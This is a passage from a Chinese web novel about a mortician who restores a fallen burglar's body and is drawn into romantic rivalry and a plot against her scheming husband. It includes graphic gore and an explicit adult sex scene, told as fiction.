其实以他们的收入,完全是不必再做收尸这类活计了。只是,总得有人去做,总不能让尸体就那么毫无尊严地暴露在众目睽睽之下。
她叹了口气,问道:“铁锹带了吗?”
“带了。”小施也很无奈,解释道:“死者是个惯犯,才刚因入室杀人未遂坐了五年牢,结果刑满释放就又操起了老本行。沿着雨水管一路爬到了20楼,准备入室盗窃。结果没想到突然看到边上窗台上还扒了个光溜溜的人,一时受惊没抓稳,就掉下去了。正好下面区域的路灯被小区里的孩子用弹弓打坏了还没修,乌漆嘛黑地也不知道被多少车压了。最倒霉的是还正好有个打工牛马舍不得全勤,凌晨叫了搬家公司的卡车来搬家...”
白绯:“...其他先不说,为什么窗台边会扒着个光溜溜的人?”
小施脸红了红,把手机递给她,叫她自己看,解释道:“物业后来翻了监控,说这个人是光着身子从28楼的主卧阳台爬出来的,就那么一层层爬到一楼跑了,可能...可能....”
白绯挑眉看着视频里的光腚男晃着鸟爬下百米高楼,连连惊叹。对于她这种恐高人士,真是光看都吓得腿软了。
小施尴尬地咳嗽一声,道:“物业说住28楼的是一对年轻夫妻,丈夫常年在外跑船,昨天突然回家了...”
白绯:...
二人开车到了小区,停好车,拉着担架,提着水桶和铁锹走了过去。警戒线已经拉起来了,一个穿着环卫工服装的干瘪老头呆愣愣地跪在地上,手里捧着半颗头。
“这是...”白绯心中已有预感,毕竟除了家人和收尸人,谁不害怕血淋漓的尸体。
果然,小施叹了口气,眼里满是怜悯,道:“死者父亲,也是这次的委托人。”
15. 叙白
“大伯,我们是安泰礼务公司的,您...您还好吗?”小施犹豫片刻,还是跨过警戒线,走到老人身边蹲下,担忧地问道。
地上红红白白到处都是,尸体在摔下来时撞到了一楼平台,上半身与下半身直接分离,内脏洒了一地。
警察来过,拿了几块纸板勉强挡住了残肢碎块,却仍有黑红的血液顺着地砖缓缓往外流淌。
小区居民都离得远远地没敢过来,有调皮的小孩往这边张望,又立刻被家长牢牢捂住了眼睛。
“别看,脏东西,看了眼睛都会瞎掉!”
“啧啧,真惨呐,不过也是活该,警察说这小偷兜里还揣着西瓜刀,要是真进了屋子,没准死的就是咱们这楼里哪个倒霉催的业主了。”
“这么高都能爬上来,真是吓死个人。看来还是得装个监控啊~”
远处的议论声随风飘过来,老人捧着残破的脑袋,几乎快把脸埋到了胸口。
小施心中不忍,挡住了其他人的视线,试探着伸手去接他手中的半拉脑袋:“您交给我吧。”
老人没有反抗,抬起浑浊的眼,愣愣地看着小施将他手中的脑袋装进裹尸袋里。他张开干瘪的唇,喉咙里像是含着血,问道:“小伙子,派出所的官儿说找你们能把人修复好了,我儿子都烂成这样了,还能成吗?”
小施小心地将脑袋放稳,安抚道:“您放心,我们就是干这个的,一定能替您复原。”
“好...好...”老人沟壑纵横的脸上都是尘土,抖着一双沾满污渍的手开始掏裤子口袋,从里边拿出一块脏兮兮的手帕,打开给小施看:“要多少钱?我身上只有300,不够的话我去借...”
小施看着那堆皱巴巴的纸币,正准备开口,白绯却突然打断了他。
“不要钱。”她拎着铲子把地上白花花的一堆东西铲进水桶里,头也不抬地回道:“我们是公益组织。”
老人定定地看着那一桶脑组织,喃喃道:“好,好,那我再给俺儿子去买身寿衣。”
“不用去买。”白绯却再次阻止了老人。她站起身,把水桶放到担架上,扭头道:“这些我们也提供,您不用担心。劳驾您,找张您儿子的照片发给我们这位小哥,后续我们会依据照片做修复。等处理好了,再联系您过来。”
老人整个人木木的,像是灵魂早已随着地上的尸体一起被摔了个稀巴烂。他从胸口的口袋掏出一个破旧的老年机递给小施:“照片都在这里了。小伙子,你自己找吧,老头子我不会用手机。”
手机很卡,像素也不高,小施勉强才从相册里找到一张可以用的照片,传到了自己的手机里。
老人没有哭,只是浑浊的眼睛里布满了血丝,喃喃道:“照片是两天前我儿子从牢里出来的时候,我趁着他没注意拍的,想着以后想他了,也能拿出来看看。我们父子俩聚少离多,他妈妈走得早,爷爷瘫痪在床,奶奶年纪也大了,家里就靠我一个人赚钱。我从他出生就在外打工,想着攒到钱以后给他也在这漂亮的大城市安个家,就像那些城里的孩子一样。可是我年纪越来越大,工资却越来越低,房价也越涨越高,我怎么攒都攒不够房钱...后来,他爷爷奶奶都走了,他也不想在老家待着了,我就把他接了过来,想着也许爷俩一起努力,我们还有希望能留在这里。可是,他每份工作都做不长,总是嫌工资低,嫌工作累。他说,就凭我们这样老老实实地干,一辈子也不可能买得起房。杀人放火金腰带,他要做聪明人...后来他就开始学坏了,坐了好几年牢。这次出来,我还劝他,不要再做那些偷鸡摸狗的事了,可他说,不去偷不去抢,谁给他钱花...”
老人茫然地看着白绯,道:“我已经把自己挣的钱都给他了,这还不够吗?”
在场的人都没说话,老人似乎也没想着能得到回答。他就像是被抽了虾线的虾一样佝偻着身体,沉默地小心拾起七零八落的肢体,就像孩子刚出生那年,他把小小的他轻轻抱在怀里。
老人最后望了眼担架上的裹尸袋,重重抹了把脸,道:“麻烦你们了。我还得去上班,不然会被开除的,我这年纪,已经找不到工作了。”
老人在周围人的指指点点中佝偻着身体走了,每走一步,他的腰就弯得更厉害,仿佛有一只看不见的大手在重压着他的脊背。
小施面露不忍地看着老人沉重的背影,正想说话,却看见白绯突然扬起手就给了担架上的脑袋一个重重的大耳瓜子,嘴里怒骂道:“你这个畜生。”
脑袋在尸袋里咕噜噜打了个滚,应当是没被吓倒,却把小施吓个够呛。他几乎是跳了起来一把合上车门,扭头拉住白绯高高举起准备来第二下的胳膊,低声劝道:“姐,姐,别打了!一会儿打烂了不还得你自己修复嘛!”
白绯咬牙切齿地瞪了担架上的碎尸一会儿,最终挫败地放下了手。她在心里怒骂:一切苦难都不是作恶的理由,你倒是好,死了也算一了百了,可又置这世上真正爱这你这坨垃圾的人于何地?
小施见白绯终于平静下来,拉着她走出车厢坐进了副驾。他们开车回了公司,把担架连同上面的尸体一起拉到后头平屋里。
最后一间平屋已经被改造成了停尸间,里面放着好几具冰棺,正中央则是一张不锈钢停尸台。
修复台中央凸起,边缘凹陷,并且配有导流线和孔洞,方便排放各种□□和其他液体。修复台边上是一排柜子,上面放着化妆箱和缝合箱。
白绯拉开其中一个柜子的抽屉,从里面掏出一大罐雕塑泥和一瓶特效离型剂,对小施道:“是时候买个3D打印机了。”
以前的殡葬师通常使用雕塑泥来重塑缺失的肢体,但随着技术的发展,可以直接用3D打印机来完成这一项工作了。只需要提供往生者的照片,扫描其上68个点,就能完成建模,之后就可以使用3D打印机来打印了。
但眼下是来不及买了,白绯只能选择手搓,完成之后再和剩下的半颗脑袋缝合在一起,再接回躯干上。
尸体被拦腰截断,内里的内脏有不少已经被碾压成泥,脑袋也流空了,白绯无奈地叹了口气,对小施道:“一会儿你去找我妈要点棉花,有不少地方得先填充起来才行。”
小施应了声,走了。白绯看着修复台上七零八落的尸体,叹了口气,调出小施发给她的照片,认命地开始动手搓。
小施走出平房,绕到小屋前头,意外地看见陈安夏正一脸羞涩地和一名高挑男子在院子里说话。
“小施哥。”陈安夏注意到他走来,红着脸向他介绍:“这是我的心理医生,叙白叙医生。他听说我找到了工作,顺路过来看看。”
“你好。”叙医生天生一双桃花眼,头发偏长,在脑后扎了一个小辫子,配着他风流的五官,有种男女通杀的魅力。
小施被他那双含情眼盯着,竟也不自觉地红了脸。
“你...你好。”他不知怎么的莫名对叙白有些发怵,不太敢看他,只对陈安夏道:“安夏,那你和叙医生随便转转,我就不陪你们了,还得去给绯绯姐找点棉花。对了...”
小施扭头走了两步后又停住,嘱咐二人道:“别去最后头那屋哈,绯绯姐正在里面修复遗体。”
陈安夏闻言郑重点了点头,看着小施走进门厅,扭头对叙白道:“那叙医生,我带你逛逛?”
叙白偏过头轻笑一声,很是通情达理地说道:“我自己随便转转吧,你去忙,不用管我。”
陈安夏重重松了口气,她虽然也喜欢帅哥,但到底还是社恐占据上风。虽然最近她的情况已经有所好转,但要她这样带着人溜达,还是太为难她了。
叙医生人真好
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,陈安夏在心里道,感激地应了声,有些不好意思地冲叙白笑笑,就回屋去打扫告别室了。
叙白看着陈安夏离开,脸上的笑容逐渐淡去。很奇怪,刚才的他还让人觉得如沐春风,如今骤然冷下脸来,竟又显得格外阴鸷。
他单手插兜,漫无目的地在小院闲逛,视线扫过不远处的墓地,竟丝毫没有害怕的迹象。不知不觉间,叙白已经绕过小楼,走到了后边的平屋。最前头两间屋子的卷闸门开着,里面放着密密麻麻的纸活。尤其是第二间屋子里林立的纸人,正直勾勾盯着门外。
叙白饶有兴致地和一个涂着血红腮红的童女对视了一会儿,伸手掐断了她的脖子,正准备转身离开,脚步却突然一顿。
方才小施的话又在耳边响起,叙白眼里闪过兴味的光,调转脚步,径直朝着最后的小屋走去。
才刚靠近,他的鼻尖就已经闻到了浓郁的血腥气和不明显的腐臭味。
一般人对这味道只怕会望而却步,叙白却像是很喜欢。他也不说话,就像只准备捕食猎物的猎豹,悄无声息地走到了门口。
隔着飘荡的门帘看到里面场景的一瞬间,他的呼吸一顿,瞳孔蓦地放大。
妩媚的女人面色冷凝,正手捧着半颗破碎的头颅,鲜血和组织液淌了她满手。
像佛,又像恶魔。
白绯注意到门口的陌生人,放下手里的尸块,皱眉问道:“你是谁?”
那男人就那么直勾勾地看着她,丝毫也没有被这血腥的场景骇道,反倒兴味盎然地直勾勾盯着白绯还沾着血迹的手。
事实上男人长得非常不错,是白绯喜欢的斯文禽兽的长相,但不知为何,白绯却对他下意识有着隐隐的防备。
男人温和地笑了起来,这一笑让他的攻击性霎时化解,又变得无害且平易近人起来:“不好意思,吓到你了吗?我是陈安夏的心理医生,我叫叙白。今天过来看看她。她有事去忙了,我就随便逛逛。”
叙白掀开帘子走进屋,目光扫过停尸台上的尸块,讶异地叹道:“呀,怎么这么惨。”
他嘴上说着惨,神情却没有丝毫的怜悯,目光轻飘飘地从断口上划过,落到稀碎的脑袋上,顿了顿,道:“脑浆都没了啊~”
白绯看他这副轻描淡写的模样,倒是很惊讶:“你不怕?”
叙白站在停尸台的另一侧,和白绯隔着尸体对视,解释道:“虽然说是心理医生,但心理疾病也会导致身体病变,所以我们对人体结构和病理自然也有所了解。只是相比其他部位,我们对于脑组织研究得更多更细致些。”
他的手指轻飘飘地点了点水桶里的白色物体,道:“你要把这些东西都拼起来吗?”
白绯嗯了声,回道:“家属会希望他尽量恢复生前的样子。”她抿了抿嘴,补充道:“至少看起来是。”
说完,白绯就自顾自地开始拼头骨,她以为叙白会识趣地走开,结果没想到他却就那么站在原地看了起来。
白绯被他的视线盯得头皮发麻,正想开口赶人,小施却拿着棉花回来了。
他看到叙白也吃了一惊,道:“叙医生,你怎么在这儿?你不怕吗?”
叙白开始笑着和小施说起话来,三言两语就把尸体的来路问了个明白。他看着白绯把棉花塞进尸体凹陷处,突然卷起衬衫袖口,道:“我来帮你吧,缝合我也拿手。”
不等白绯拒绝,叙白就已经从抽屉里拿出一副新的手套戴上,从针线盒中掏出一根较粗的弯针和一把持针钳,对着尸体的腰部缝合起来。
白绯看他的缝合整齐又漂亮,顿了顿,便也不再多说,继续拼起自己的头骨。
小施看没需要自己的地方了,就先走了,留下他们二人对着一具残破的尸体,而等祝临川从学校赶回来,看到的就是这样岁月静好的画面。
16. 强扭的瓜才甜
那莫名其妙出现在这里的陌生男人,正和白绯脑袋对着脑袋,低头在停尸台边操作。
祝临川就听到他熟稔地对白绯道:“绯绯,给我点缝合线。”
呸,哪冒出来的阿猫阿狗,绯绯也是你能叫的?
埋头拼着碎骨的白绯头也不抬,利落地回手一摸,抓着线团就递了过去。祝临川分明看见,那臭不要脸的娘炮借着拿东西的机会,指尖暧昧地擦过白绯的手心。
拳头硬了。
不远处传来小施疑惑的声音:“唉?这怎么有个纸人脖子断了?”
白绯听到声音抬头一看,没看到小施,倒是看到祝临川正站在门口。
她有些疲惫地活动了下僵硬的脖子,冲他浅浅笑了笑:“回来了。”
所有的委屈、愤怒就在这简单的一声呼唤中烟消云散,祝临川根本不知道自己此时的表情有多温情缱绻,他低低地嗯了一声,走上前去,十分自然地把手放到了白绯的肩膀上,关心道:“累了?我给你捏捏。”
白绯嗯了一声,放松地往后一靠,倒进了祝临川的怀里。
祝临川手下功夫了得,力度适宜,按得白绯紧皱的眉头都舒展开来,像一只没骨头的猫一般,懒洋洋地靠在他身上不动了。
他手下忙着,视线却直直盯着对面的叙白。
叙白不知何时也已停下了手中的缝合,冰冷的视线在白绯的肩头一触即离,抬起头冷冷回视这突然冒出来的小年轻。
二人都没说话,却对彼此的意图心照不宣。
白绯闭上眼睛任由祝临川给自己放松筋骨,并不知道眼前两个男人之间正在无声的交锋。
“绯绯姐,吃饭啦。”小施掀开帘子走了进来。
他看到祝临川也在,惊讶道:“临川?你什么时候回来的,我都没看见你。”
当然没看见,他一下课就直接往回赶,进了小楼一看没有白绯的影子,就直奔后院而来。结果就发现,才一天的功夫,家竟然差点被偷了。
小施对这一切都无知无觉,浓眉大眼闪烁着单蠢的光芒,招呼几人道:“白叔的朋友今天送了半头现杀的猪来,芸姨做了不少菜,大伙今天有口福啦~叙医生,你也留下来一起简单吃点再走吧!”
叙白顶着祝临川冰冷的视线,挑衅一笑,扭头温温柔柔地对小施道:“好呀,那我就恭敬不如从命了。”
“嘶~”肩头揉捏的力度突然加重,白绯吃痛叫了一声,睁开了眼睛。
祝临川有些慌乱地掰着白绯的肩头,低声道歉:“弄痛你了?”
话音刚落,脑海中就又回想起昨晚白绯在浴室对他的调戏,脸倏地一下就红了。
白绯看他这副娇羞的模样,下意识又想贫嘴逗他两句,余光注意到等着干饭的小施和若有所思的叙白,干咳一声,好险才把话咽了回去。
“没事,又不是纸糊的。”她脱下手套和围裙,牵着祝临川的手就往外走,嘴里问道:“小施,刚刚听你说纸人脖子断了?”
“是啊,就是仓库最外头那个。难道是骨架没扎好?”正好几人路过,小施便指着那个尸首分离的纸人示意大家看。
叙白温温柔柔道:“也许是野猫挠的,这块儿应该有不少小动物吧?”
小施点点头,道:“确实,看来以后要把门锁好,免得那些小捣蛋过来搞破坏了。”
叙白笑着点点头,和小施并肩走在后头。他的目光不着痕迹地扫过白绯和祝临川牵着的手,眼中满是兴味盎然。
厨房和餐厅都在小楼的二楼,和白绯他们的卧室隔着挑高的大厅。
白绯上楼后先回卧室去洗澡,叫其他人不用等她。等她洗漱完后过去餐桌,就发现叙白已经将白家二老哄得心花怒放。
他人长得好,嘴又甜,博览群书,什么都能聊两句,白书远对他相见恨晚,几乎将他奉为忘年交。就连周芸也一脸慈爱地看着他,嘱咐他以后有空常来玩。
陈安夏也在,她还是不习惯人多的场合,只是埋头干饭,时不时地抬头看看左右逢源的叙白,眼睛里的羡慕藏都藏不住。
祝临川脸色不太好,白绯只当他昨晚出了一晚上力,今天又赶早八,难得地关心了下:“累着了?一会儿吃完早点去休息吧,公司里反正有监控,用不着守夜。”
她的位置正夹在小施和祝临川之间,和叙白隔着桌子面对面。白绯在位置上坐下,微微侧着头和祝临川说着话,两人挨得很近,明显已经突破了常规的社交距离。
祝临川注意到叙白和白家二老聊天的声音顿了顿,脸色几乎立刻由阴转晴。他微微抬高了声音,将音量卡在一个很微妙的高度,既保证了对面的叙白能听见,又显得像是在和白绯亲昵地窃窃私语:“我不累,晚上来陪你吧,一会儿是不是还得加班修复?”
白绯低低地叹了口气,开始和祝临川抱怨,语气中带着自己都没察觉的娇憨:“你是不知道,这逼有多不像话!要不是看在他父亲的面子上,我才不愿意费这力气呢!唉,别给我盛豆腐了…”
祝临川正想给白绯盛一勺肉末豆腐,就见她面有菜色地摆摆手:“今天铲了老半天脑浆,暂时不想吃豆腐了。”
祝临川也不嫌她这话扫兴,毕竟今天在场的除了陈安夏和来历不明的叙白,大家都已经习惯了各种下饭场景。
“好。”他温温柔柔地应了一声,又询问道:“那我给你剥点虾?”
周芸还做了一盘子辣椒炒虾,根据祝临川平日的观察,这应当是白绯喜欢的菜式。
果然,白绯咬着筷子点了点头,乖巧地等着祝临川给她把虾仁放进碗里:“我还以为你今天会住在宿舍,不会回来呢~”
祝临川的手指骨节分明,青筋和血管微微凸起,小臂露在衬衫袖口之外,慢条斯理剥虾的样子十分好看。
“我不是你的小童工么~”祝临川笑笑,把一个完整的虾仁放进白绯碗里,“大小姐在哪里,小童工自然也在哪里。”
白绯被他这欠欠的样子勾得心痒难耐,十分想当场将他吞吃入腹,奈何吃完饭还得去做牛马,只得有些牙痒地咬了咬筷子,嘟囔到:“你等我忙完了再收拾你。”
叙白余光看着二人打情骂俏,心中一冷。
果然男人的第六感没有错,这小白脸一看就和白绯有猫腻。不过嘛,好的东西自然是惹人觊觎的。而且...叙白眼中闪过志在必得的光,抢扭的瓜才更甜,不是吗?
饭后,叙白看着白绯和祝临川相携着离开,不得不遗憾地收回目光。
但是来日方长,优秀的猎人向来有的是耐心。
白绯并不知道这头的动静,也不关心叙白。事实上不知为何,她对叙白这个人总是喜欢不起来。相对比,还是小童工更合自己的眼缘。
有了祝临川的帮忙,工作进度立刻就被加快了。祝临川不愧是法医专业的高材生,缝合得又利落又漂亮,比叙白的手法更专业。
他们利用棉花把凹陷的部位填充起来后再缝合,缺失的头颅也用雕塑泥补全,最后一步就是利用化妆来遮盖伤口了。
白绯原想让祝临川去休息,但祝临川说明天没课,坚持要留下,白绯便也随他了。
他们简单给尸体清洗了一下,从仓库里拿出一套比较畅销的寿衣,给尸体一件件穿上,之
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后再对裸露在外的皮肤进行打理。
由于创口太大,白绯索性选择了油彩,这样上妆效果更持久,遮盖力也更强。她对着尸体的原生肤色调好颜料后,就开始细致地一层层刷起来。
这一步祝临川帮不上忙,专业的活计还是得交给专业的人。他眼看着在白绯的手下,那些狰狞的创口逐渐消失,躺在床上的人仿佛只是陷入沉睡,就连祝临川也不得不惊叹白绯技艺的高超。
他想,相比与之前那具千疮百孔的尸体,看到如今这仿佛只是陷入沉眠的躯体,家属的心一定能得到巨大的安慰。
最后,白绯又从仓库里挑了顶假发,修剪一番后固定在了尸体脑袋上。他们二人合力将尸体放进了冰棺里冷冻,如此也算大功告成了。
白绯伸了个大大的懒腰,感觉都能听到自己的骨头在吱嘎作响:“累死我了,唉,明天让小施联系家属吧,我要好好补个觉了。”
此时已接近凌晨,祝临川和白绯二人往小楼走。夜已深,楼里静悄悄的,白父白母已经显然已经入眠。
祝临川看白绯不断揉捏着自己的胳膊,便提议道:“一会儿我给你按按?”
“好啊!”白绯也不客气,如今终于没了外人,她便坏笑一声,伸出拇指和食指轻轻掐住祝临川的下巴,垫脚凑上去“吧唧”亲了一口,揶揄道:“大小姐就喜欢压榨小童工。”
白绯洗澡的时候还有些心猿意马,原本是有意再吃一次祝临川的,奈何确实累着了,有心无力,只能老老实实趴在床上,由着祝临川温柔地给她吹干头发,再给她按摩肩颈和后背。
祝临川温热的手指搭在白绯穿着白色真丝睡裙的后背上,让她舒服得眼睛都眯了起来。
她侧着头趴在枕头上,轻笑着夸道:“手艺不错啊小童工。你要是不说,我都要以为你学过了。”
没想到祝临川却回道:“还真学过。”
这下轮到白绯惊讶了:“嗯?现在学校里还教这个了?怎么,怕大学生毕业即失业?”
祝临川被她逗笑,回道:“我以前打过很多份工,所以什么都会一点。按摩、宠物美容、采耳、做披萨和奶茶…我三岁的时候父母就出车祸走了,祝金花收养了我。她原本不想让我上学,想让我和罗雪萍一样,早早出去打工赚钱,好供养罗峻辉读书。是妇联的人介入,强硬把我送去了学校,还给我减免了一部分学杂费。但是我没有钱吃饭,只能到处打零工。但每一份都干不长,祝金花总是来捣乱…”
祝临川注意到白绯专注地看着自己,声音放低,敛着眉的样子看起来很是可怜:“后来我考上了临博大学,祝金花就变本加厉,所以…”
“所以你才想着来我这儿躲着?”
“嗯。”
白绯撑起上半身,在祝临川唇上怜爱地吻了吻:“没想到我家小童工还是颗身世凄苦的小白菜。”
祝临川垂着眼睫,一副破碎的样子。
白绯被他这副脆弱的样子勾得母性大发,不由地又捧着他的脸吻了上去:“以后姐姐疼你。”
祝临川就顺势把脑袋靠了过来,二人之间浅浅的啄吻,后来逐渐深入,慢慢变成激烈的交缠,食髓知味的身体渴求着彼此的温暖。
吻了好一会儿,才气喘吁吁地停了下来,就这么相拥着躺在被窝里,谁也没有再说话。
祝临川搂着靠在自己怀里的白绯,听着她逐渐放缓的呼吸,知道她已经睡着了。他贪恋着这份温暖,低头在白绯发间轻轻落下一吻。
多可怜可怜我吧。他想,然后再也不要离开。
白绯感觉自己才刚合上眼,就被电话铃声炒醒了。
17. 年轻人早上都容易冲动
被吵醒的怨气在白绯看到来电显示上的罗大猪蹄子这五个字时达到了顶峰,她忍了又忍,才没干脆接通电话然后破口大骂,深呼吸选择了挂断。
然而罗峻辉不愧是祝金花的种,在惹人厌的本事上简直更胜一筹。被挂断电话后的他并没有放弃,而是锲而不舍地连续打了十个电话都没被接通后,才终于选择发短信过来:“怎么不接电话?邪祟驱走了吗?中午见一面吧。”
见你妈。
白绯真的恨不得顺着电话线把他揪过来然后十大酷刑伺候,然而罗峻辉此时主动联系,也正说明他着急了,这时候下套必然事半功倍。于是白绯只能强迫自己冷静下来,回复了个地址,约他在咖啡馆里见面。
她哀嚎一声,把手机扔回床头柜,捂着脸又摔回了床上,正好躺倒在祝临川温热紧实的胸膛上。她索性翻了个身,把脸埋进祝临川怀里,双手搂着他结实的腰给自己醒神。
祝临川在电话响的时候就醒了。他紧了紧搂着白绯腰肢的手,半眯着眼睛低头吻了吻她的头顶,嗓音低沉又沙哑:“早。”
白绯被他这磁性的声音酥得浑身发麻,她坏笑着伸手进被子里,嘴里调笑道:“一大早这么精神啊…”
她手下用力,剧烈的快感伴随着轻微的疼痛,让祝临川头皮发麻。他低低地喘了口气,揽着白绯的手青筋暴起。
祝临川灰色的眼眸定定地看着白绯,眼里含着他自己都没察觉的爱意。白绯被他喘得心猿意马,索性用自己的唇堵住了他的嘴。
就在二人快要擦枪走火的时候,门外却突然响起周芸的声音:“咦,小祝呢?屋里没人,门也开着,他又上课去了?”
白书远回道:“可能是。绯绯起来了没,要喊她吃早饭吗?”
刚才还抱着互啃的野鸳鸯呆若木鸡,祝临川掀开被子就准备往浴室钻,但显然已经来不及了。
只听白家二老的脚步越走越进,白绯一把掀开自己的被子,道:“快快快,躲被子里!”
祝临川一脚急刹,扭头又蹿了回去。白绯刚把被子盖严实,门就被打开了一条缝,紧跟着周芸的脑袋钻了进来。
她看到白绯睁着眼一副刚睡醒的样子,也没再进来,只笑着说了声:“醒了啊,快收拾收拾来吃饭。总不吃早饭对胃口不好,你爸买了现炸的大油条和麻球,还热乎着呢~”
“唉!”白绯放在被窝里的手摸到祝临川毛茸茸的脑袋后又往深处按了按,笑着应道:“马上就来。”
门被咔哒一声关上,周芸和白书远二人说着话走远了。
白绯吁了口气,正想把手收回来,却被另一只手牢牢握住了手腕,紧跟着,有温热的唇舔上了她的掌心,指根,接着把她的食指含进了嘴里。
麻、痒、湿、热的感觉从指尖传递而来,让白绯浑身控制不住地战栗。
手被放开了,白绯却莫名有些怅然若失。但祝临川却并没有钻出被子的意思,因为下一秒,火热的唇已经印上了她的腿根。
白绯再也支撑不住自己的身体,摔回了枕头上。床上的被子隆起了一大团,遮住了无限的风光,只有白绯这个主人才知道,这可恶的小童工在做什么坏事。
湿热的吻一路向上,睡裙被灵巧的手指掀起,白绯低喘一声,十指猛地拽紧了被角。因为用力过度,指尖甚至微微泛白。濡湿的水声隔着被褥传来,听不真切。被子被揪出深深的褶印,直到她上半身微微弓起,像拉满弦的弓。
“嗯…”到达顶峰的身体由于脱力又落回床上,纤长的十指终于放过了惨遭蹂躏的被子。汗水湿润了乌黑的发,粘在鬓边。白绯的眼神迷离,,软软地躺在床上喘息。
祝临川终于从被子里爬了出来,他双手撑在白绯脸侧,细细地看着白绯此刻的模样。
白绯也在看他。小童工此刻的唇色比平时更深,下巴上还带着明显的水渍,也不知是汗水还是其他的液体。他舔了舔唇,低头又想索吻,却被缓过神来的白绯猛地捂住了嘴。
“别...”白绯喘息着,隔着自己的手背在他唇的位置讨好地亲了亲。
祝临川露在手掌上的眼睛揶揄地眯了眯,紧跟着伸出舌头又舔了舔白绯的掌心。
酥麻的痒意传来,白绯猛地缩回了手。祝临川却伸手握住了她,与她五指纠缠,带着她的手又重新伸进了被子里。
结局就是二人不得不先重新洗了个澡。等白绯洗漱完毕过去餐厅的时候,周芸都等了好一会儿了。
“怎么这么久,还是这么爱赖床。”周芸笑着嗔怪道,从保温箱里端出一根油条和一个圆滚滚的麻球给她,又端了杯热牛奶,道:“吃吧,给你热着呢~”
“谢谢妈…”白绯笑着道谢,端起杯子先一口口抿了起来。
祝临川很快也过来了,周芸看到他还吃了一惊,道:“咦,小祝你在啊?我还以为你去学校了。”
白绯心虚地看了眼周芸,没说话。
祝临川却很淡定,他接过周芸递来的早饭,道了声谢,解释道:“我早上去仓库折了会纸活。”
“嗐,你这孩子,仓库里的纸活多的是,卖都卖不完。难得没事,偶尔也赖个床,别这么辛苦。”
祝临川笑着应了一声。
周芸就这么慈爱地看着他们吃饭。
白绯吃着吃着,想起罗峻辉的邀约,便和周芸道:“妈,罗峻辉约我见面,一会儿中午我出去一趟。”
周芸很不放心:“那妈和爸陪你一块儿去吧?万一他欺负你可咋办?”
白绯从前习惯了有什么事都自己扛,但对这样的关心也很受用,安慰道:“放心吧妈,真动起手来还不一定谁打谁呢。更何况,我还准备了个套让他钻,人多他就该警惕了。”
周芸却还是不放心,她看到正乖巧坐在一边的祝临川,忽然灵机一动,提议道:“那让小祝陪你去吧!罗峻辉那小子也不认识小祝,万一他要欺负你,小祝也能帮忙!对了,小祝,你还不知道情况吧…”
周芸说着就开始和祝临川讲述起罗家的罪恶行径,祝临川乖乖坐着听,时不时应和两声。
他一开始只是惊讶白绯没有将自己的真实身份告
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诉周芸,后面则是真实地为罗家的所作所为感到气愤与羞愤了。他虽然和他们只是名存实亡的亲戚关系,但他依旧为罗家对白绯造成的伤害感到愧疚。
“阿姨,您放心,有我陪着绯绯姐,绝对不会让罗家动她一根汗毛的。”他郑重地对周芸承诺道。
如此这般,周芸才放下心来。
吃完饭已经不早了,白绯回房间稍微休息了会,就准备出发。出门的时候,祝临川已经在一楼大厅等她了。
“会开车吗?”白绯转着车钥匙走下楼梯,问道。
果不其然,祝临川答了声会。
“你可真是六边形战士了,什么都会。”白绯笑道,把车钥匙一把扔进了祝临川怀里,“那你来开车吧,去路迪咖啡馆,柳飞路上那家。”
车子平缓驶出,白绯坐在副驾上,把车顶的化妆镜拉开,接着又从包里掏出一盒大地色眼影,拿了把眼影刷就开始酷酷往眼睛上刷。等祝临川把车子开到目的地,好好一个美女就活生生变成了一只大熊猫。
“怎么样?”白绯还眨巴着眼睛,期待地询问祝临川的意见。
祝临川看着那两只乌漆嘛黑的眼,尴尬地抠着方向盘,犹豫道:“额...很可爱?”
白绯翻了个白眼,这个动作在青黑一片的眼眶中看着实在是十分好笑,道:“果然男人的嘴,骗人的鬼。算了,我走了。你在这儿等着,有事我给你打电话。”
说完对着车子上方的化妆镜最后满意地看了一眼,拎着挎包下了车。
关上车门后,白绯就立刻摆出一副肾虚的样子,如弱柳扶风般飘进了咖啡厅。
罗峻辉早早就在里面等着了,一看见白绯的身影就立刻迎了上来。
“绯绯,你可算来了,你...怎么变这样了?!”罗峻辉果不其然被白绯的造型吓了一跳。他看着妻子如今一副病入膏肓般的肾虚模样,心中惊呼,难道这次的邪祟竟如此厉害?!那婚房还有希望搬回去吗?!
白绯楚楚可怜地看着罗峻辉,心中却也在默默吐槽:大兄弟,你要不要看看自己是什么尊荣。
罗峻辉戴了一副很大的墨镜,也遮不住眼下的青黑。露在外面的鼻子红肿,嘴唇也肿得老高,哪还有昔日风流倜傥的模样,活生生一个猪头。看来,这就是那日撕逼的杰作了。
白绯心里暗爽,面上却不动声色,道:“老公,呜呜呜,我好想你,终于见到你了。”
她嘤咛着作势要往罗峻辉怀里扑,把他吓得连连后退,生怕白绯身上的邪祟沾上自己,连碰都不敢碰她。
“先坐吧。”他尴尬地干咳一声,把人引到了位置上坐下。服务员过来倒水,看到这造型奇葩的一对,瞳孔巨震。
“来杯拿铁,谢谢。”白绯对服务说完,就率先开口对罗峻辉诉起了苦:“老公,你是不知道,这次的邪祟有多厉害!我爸妈花了上百万,请了好几个业内有名的大师,都拿它没辙!苦得我,每天吃不下,睡不好,人都瘦了!”
服务员猝不及防听到这样的八卦,吓得小脸惨白,扭头就跑。
18. 雄竞
罗峻辉并不关心白绯有没有瘦,他只心疼那原本该属于自己的钱却这么如流水般地花了出去。而且,若是邪祟一直不除,那那套价值千万的婚房岂不是就烂手里了?他心中焦急,迫不及待地开口追问道:“那婚房呢?我们还能搬回去吗?”
白绯看他一副连演都懒得演的样子,心中冷嗤一声,想,这原主究竟是得多恋爱脑才会认为罗峻辉爱自己啊?
白绯端起水杯慢条斯理地喝了一口,直把罗峻辉吊得直勾勾盯着她。她擦擦嘴,终于给了他一个痛快,道:“幸好啊,最后我爸托关系找到了一位大师,说只要再做一周法事,就能将我身上的怨灵封印,之后,再去婚房除掉残余的邪煞,我们就能搬回去了。”
罗峻辉听到还有希望,重重吁了一口气,放松地靠回了椅背上。他心中又喜又忧,喜的是婚房还能搬回去,忧的是至少还得等一周,而家中的混乱却已经等不及了。
一向温婉可人的顾怜心跟个疯婆子一样当天就跑没了影,姐姐被踹进了医院,做了一堆检查,明明说没什么问题,却一会儿闹着胸口疼一会儿说喘不上气,硬是不肯出院。老娘每天在骂人,怼天怼地,就连路过的狗都要挨一顿喷。
罗峻辉头疼得不行,知道必须得把他们分开了,不然家中永无宁日。更何况,他也舍不得价值这么高的房产就这么空置着,必须得捏在自己手里才安心。要知道,凭自己的年薪,可是要不吃不喝三十年才能买得起这么一套房子。
